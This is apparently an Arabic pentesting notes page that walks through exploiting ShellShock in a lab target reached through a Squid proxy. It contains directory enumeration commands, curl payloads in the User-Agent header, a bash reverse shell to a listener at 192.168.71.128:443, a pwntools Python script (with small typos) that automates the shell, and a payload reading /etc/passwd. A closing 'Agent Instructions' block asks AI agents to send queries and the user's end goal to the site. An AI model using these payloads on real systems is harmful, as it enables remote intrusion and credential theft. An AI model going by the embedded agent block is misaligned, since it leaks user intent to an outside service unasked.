> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# ShellShock Status

باستخدام الأداة **GoBuster**، نبحث عن مسارات النظام

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

في هذه الحالة، نجد المسار **/cgi-bin/**، والتي قد تكون عرضة لهجوم ShellShock:

<figure><img src="/files/efbca3c5f86da43da292d31cf0e83fd8501e83d8" alt=""><figcaption></figcaption></figure>

الآن، في هذا المسار نفسه، نبحث عن ملفات ذات الامتدادات **sh, pl, cgi**، إلخ.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/7a0d5f87f2e12f304cfbf87be833682e7d868787" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f2b2924cc7c259e4e143299e5b0a15a5d1bdaef4" alt=""><figcaption></figcaption></figure>

## ShellShock:

باستخدام curl، إذا أرسلنا طلبًا، نرى أنه **الأمر نفسه مثل uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/21afebd70ed0613d528ccbbd5c6245c264dc323f" alt=""><figcaption></figcaption></figure>

باستخدام curl، نستخدم **شيل شوك** الثغرة لتنفيذ الأوامر. احرص دائمًا على تعيين **المسار المطلق**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/1b16dd55a80fc415d792a32edd5b392af4857778" alt=""><figcaption></figcaption></figure>

لـ **للحصول على الوصول** إلى الجهاز، ننفذ الأمر التالي:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/47f7943de6a451e7a28e715a68b4a24628c7fd9b" alt=""><figcaption></figcaption></figure>

## سكربت بايثون آلي:

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# حالة ShellShock
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("فشل إنشاء تسجيل الدخول")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/d19ee5bf4d5410848263d05b0362b87838012575" alt=""><figcaption></figcaption></figure>

## الاستغلال باستخدام Burp Suite

في Burp Suite، يمكننا حقن حمولة ShellShock في الترويسة **User-Agent** لمحاولة تنفيذ الأوامر على الخادم الهدف:

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

إذا كانت الثغرة موجودة، سيرسل الخادم محتوى الملف `/etc/passwd`، بشرط أن يكون تنفيذ الأمر ممكنًا.

## الاستغلال باستخدام Metasploit

يوفر Metasploit استغلالًا مخصصًا لهذه الثغرة: حمّل وحدة ShellShock:

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

إذا نجح الاستغلال، فسيتم الحصول على شيل على الجهاز الهدف.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
